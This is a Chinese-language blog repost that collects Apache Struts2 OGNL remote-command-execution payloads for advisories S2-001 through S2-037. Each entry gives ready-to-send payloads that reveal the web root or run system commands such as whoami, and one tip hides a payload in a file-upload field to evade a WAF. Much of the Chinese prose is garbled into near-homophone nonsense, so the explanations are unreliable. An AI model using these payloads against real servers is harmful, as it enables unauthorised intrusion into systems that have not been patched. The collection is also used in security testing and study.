ACCESSStruts2令执行各个版本记录

Struts2发令执行集合 截止到S2-037

原稿链接:http://blog.0kami.cn/2017/01/13/Struts2-history-payload/

Struts2框架的RCE远程命令执行的确是一个于经典的漏洞,这个框架犹如一个罗,一个口十只手指头能按停几独洞……

参考描述:

Struts2 S2-001

影响版本:2.0.0 – 2.0.8
现实详情:https://struts.apache.org/docs/s2-001.html
该漏洞以用户提交表单数据以认证失败时,后端会将用户之前交付的参数值使用
OGNL 表达式 %{value}
进行分析,然后还填写到相应之表单数据被。例如登记或登录页面,提交失败后端一般会默认返回之前交付的数额,由于后端使用
%{value} 对交付的多少实施了同糟糕 OGNL 表达式解析,所以可以一直组织
Payload 进行指令执行
上文引用rickgray的叙述。

构造PoC
收获tomcat执行路径

%{“tomcatBinDir{“+@java.lang.System@getProperty(“user.dir”)+”}”}
获取web根目录

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#response.println(#req.getRealPath(‘/’)),#response.flush(),#response.close()}
施行系统命令

%{#a=(new
java.lang.ProcessBuilder(“whoami”)).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new
java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#matt=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#matt.getWriter().println(new
java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}

Struts2 S2-005

影响版本: 2.0.0 – 2.1.8.尾巴详情:
http://struts.apache.org/docs/s2-005.html
struts2破绽的来自源于S2-003(受影响版本: 低于Struts
2.0.12),struts2会将http的每个参数叫解析为ongl语句子执行(可知晓啊java代码)。ongl表达式通过#来做客struts的目标,struts框架通过过滤#字符防止安全题材,然而经过unicode编码(\u0023)或8进制(\43)即绕了了安康范围,对于S2-003尾巴,官方通过增加安全部署(禁止静态方法调用和类方法执行等)来修补,但是安全配置为绞了再次导致了破绽,攻击者可运用OGNL表达式讲这2只选项打开,S2-003的修补方案将自己及了一个吊,但是将锁钥匙被插在了锁头上
上文引用LittleHann的讲述

构造PoC
获取web根目录

(‘\43_memberAccess.allowStaticMethodAccess’)(a)=true&(b)((‘\43context[\’xwork.MethodAccessor.denyMethodExecution\’]\75false’)(b))&(‘\43c’)((‘\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET’)(c))&(g)((‘\43req\75@org.apache.struts2.ServletActionContext@getRequest()’)(d))&(i2)((‘\43xman\75@org.apache.struts2.ServletActionContext@getResponse()’)(d))&(i97)((‘\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))’)(d))&(i99)((‘\43xman.getWriter().close()’)(d))
履行系统命令

(‘\43_memberAccess.allowStaticMethodAccess’)(a)=true&(b)((‘\43context[\’xwork.MethodAccessor.denyMethodExecution\’]\75false’)(b))&(‘\43c’)((‘\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET’)(c))&(g)((‘\43mycmd\75\'”+cmd+”\”)(d))&(h)((‘\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)’)(d))&(i)((‘\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())’)(d))&(j)((‘\43myres\75new\40byte[51020]’)(d))&(k)((‘\43mydat.readFully(\43myres)’)(d))&(l)((‘\43mystr\75new\40java.lang.String(\43myres)’)(d))&(m)((‘\43myout\75@org.apache.struts2.ServletActionContext@getResponse()’)(d))&(n)((‘\43myout.getWriter().println(\43mystr)’)(d))
点2单PoC摘自k8team,为了写PoC,有所改变,但是此间虽无糊上来了:)

Struts2 S2-009

影响版本: 2.0.0 – 2.3.1.漏洞详情:
https://struts.apache.org/docs/s2-009.html
漏洞以点跟S2-003以及S2-005近似,利用OGNL表达式(1)(2),会实施1的OGNL表达式,009组织了之主意也test=(some
OGNL 表达式)(1)&z[(test)(1)]=true。
z[(test)(1)]=true,对struts2吧是官的参数,但是(test)(1)会实施上述说之计,test的价为牵计算,造成命令执行。

构造PoC
弹计算器

ps:实验环境试了一些不良还不能够实施系统命令,路过的大佬求指教:)

person.name=(#context[“xwork.MethodAccessor.denyMethodExecution”]=
new java.lang.Boolean(false),
#_memberAccess[“allowStaticMethodAccess”]= new
java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec(‘open
/Applications/Calculator.app’))(meh)&z[(person.name)(‘meh’)]=true
于是之是person/new-person.action这个控制器

获取web根目录

person.name=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%20new%20java.lang.Boolean%28false%29%2C%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23req%3D@org.apache.struts2.ServletActionContext@getRequest%28%29%2C%23outstr%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23outstr.println%28%27webpath%3A%27%2b%23req.getRealPath%28%22%2f%22%29%29%2C%23outstr.close%28%29%29%28meh%29&z%5B%28person.name%29%28%27meh%27%29%5D”

Struts2 S2-012

影响版本: 2.0.0 – 2.3.13
漏洞详情: https://cwiki.apache.org/confluence/display/WW/S2-012
Action 中 Result 时用了重定向项目,并且还采用 ${param_name}
作为重定向变量,struts在获取其价值时会见履行OGNL表达式,从而造成命令执行

构造PoC
获取web根路径

%25%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23response%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23response.println%28%27webpath%3A%27%2b%23req.getSession%28%29.getServletContext%28%29.getRealPath%28%27%2f%27%29%29%2C%23response.flush%28%29%2C%23response.close%28%29%29%7D
实践系统命令

%25%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%29%7D%0A%0A

Struts2 S2-013/S2-014

潜移默化版本: 2.0.0 – 2.3.14.纰漏详情:
https://cwiki.apache.org/confluence/display/WW/S2-013,https://cwiki.apache.org/confluence/display/WW/S2-014
标签s:url和s:a中提供include参数,其参数值可以吗

none – include no parameters in the URL (default)
get – include only GET parameters in the URL
all – include both GET and POST parameters in the URL
倘参数值为get或all,在获得相应之参数值时实施了OGNL表达式

构造PoC
获取web根目录

a=${(%23_memberAccess[“allowStaticMethodAccess”]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23out.println(‘webpath%3a’%2b%23req.getRealPath(“/”)),%23out.close())}
施行系统命令

a=${(%23_memberAccess[“allowStaticMethodAccess”]=true,%23a=@java.lang.Runtime@getRuntime().exec(‘”+cmd+”‘).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23out.println(‘dbapp%3a’%2bnew
java.lang.String(%23d)),%23out.close())}

Struts2 S2-016

影响版本: 2.0.0 – 2.3.15
漏洞详情: https://struts.apache.org/docs/s2-016.html
DefaultActionMapper 类支持以 action:,redirect: 和 redirectAction:
作为走访前缀,前缀后面可以与 OGNL 表达式,由于 Struts2
未对该展开过滤,导致任意 Action 可以使用这些前缀执行任意 OGNL
表达式,从而造成肆意命令执行
上文引用rickgray的叙述。

构造PoC
获取web根目录

?redirect:${#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletReq’+’uest’),#resp=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletRes’+’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter
(),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(#req.getSession().getServletContext().getRealPath(‘/’)),#ot.flush(),#ot.close()}
实践系统命令

?redirect:${#a=(new java.lang.ProcessBuilder(new
java.lang.String[]{‘whoami’})).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new
java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#matt=#context.get(‘co’+’m.ope’+’nsymph’+’ony.x’+’wor’+’k2.disp’+’atch’+’er.HttpSe’+’rvletRe’+’sponse’),#matt.getWriter().println(new
java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}’
再有雷同种植比较隐蔽的点子,将PoC放在文件上传的name处,过waf。

Struts2 S2-019

影响版本: 2.0.0 – 2.3.15.破绽详情:
https://cwiki.apache.org/confluence/display/WW/S2-019
拖欠漏洞成因为被了开发者模式,传入debug=command&expression=导致执行OGNL表达式,从而致使命令执行漏洞。

构造PoC
获取web根路径

debug=command&expression=%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23resp.getWriter%28%29.println%28%27webpath%3A%27%2b%23req.getSession%28%29.getServletContext%28%29.getRealPath%28%27%2f%27%29%29%2C%23resp.getWriter%28%29.flush%28%29%2C%23resp.getWriter%28%29.close%28%29
实践系统命令

debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

Struts2 S2-032

潜移默化版本: 2.3.20 – 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞详情: https://struts.apache.org/docs/s2-032.html
以配置了 Struts2 DMI 也 True 的图景下,可以下 method: Action
前缀去调用声明也 public 的函数,DMI
的相干以办法而参照官方介绍(Dynamic Method Invocation),这个 DMI
的调用特性其实一直留存,只不过在没有版本被 Strtus2 不会见指向 name 方法值做
OGNL 计算,而当胜版本中会,代码详情而参照阿尔法实验室的报告 – 《Apache
Struts2 s2-032技巧分析与漏洞检测脚本》
上文引用rickgray的描述。

构造PoC
获取web根目录

?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#req=#context.get(#parameters.a[0]),#resp=#context.get(#parameters.b[0]),#resp.setCharacterEncoding(#parameters.c[0]),#ot=#resp.getWriter
(),#ot.print(#parameters.e[0]+#req.getSession().getServletContext().getRealPath(#parameters.d[0])),#ot.flush(),#ot.close&a=com.opensymphony.xwork2.dispatcher.HttpServletRequest&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=UTF-8&d=/&e=webpath:
履系统命令

?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#a=(new
java.lang.ProcessBuilder(#parameters.a[0])).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new
java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#matt=#context.get(#parameters.b[0]),#matt.getWriter().println(#parameters.c[0]+new
java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close&a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag:

Struts2 S2-037

影响版本: 2.3.20 – 2.3.28.破绽详情:
http://struts.apache.org/docs/s2-037.html
这个漏洞和前S2-032/033凡一个地方,都是于DefaultActionInvocation.java的invokeAction方法吃从不对methodName参数内容进行校验,便直抛到了getValue方法中,从而造成Ongl表达式的流入。
上文引用nsfocus%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html)的叙述

构造PoC
获取web根目录

/(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#req=#context.get(#parameters.a[0]),#resp=#context.get(#parameters.b[0]),#resp.setCharacterEncoding(#parameters.c[0]),#ot=#resp.getWriter
(),#ot.print(#parameters.e[0]+#req.getSession().getServletContext().getRealPath(#parameters.d[0])),#ot.flush(),#ot.close):xx.toString.json?&a=com.opensymphony.xwork2.dispatcher.HttpServletRequest&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=UTF-8&d=/&e=webpath:
实行系统命令

/(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#a=(new
java.lang.ProcessBuilder(#parameters.a[0])).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new
java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#matt=#context.get(#parameters.b[0]),#matt.getWriter().println(#parameters.c[0]+new
java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()):xx.toString.json?&a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag:

相关文章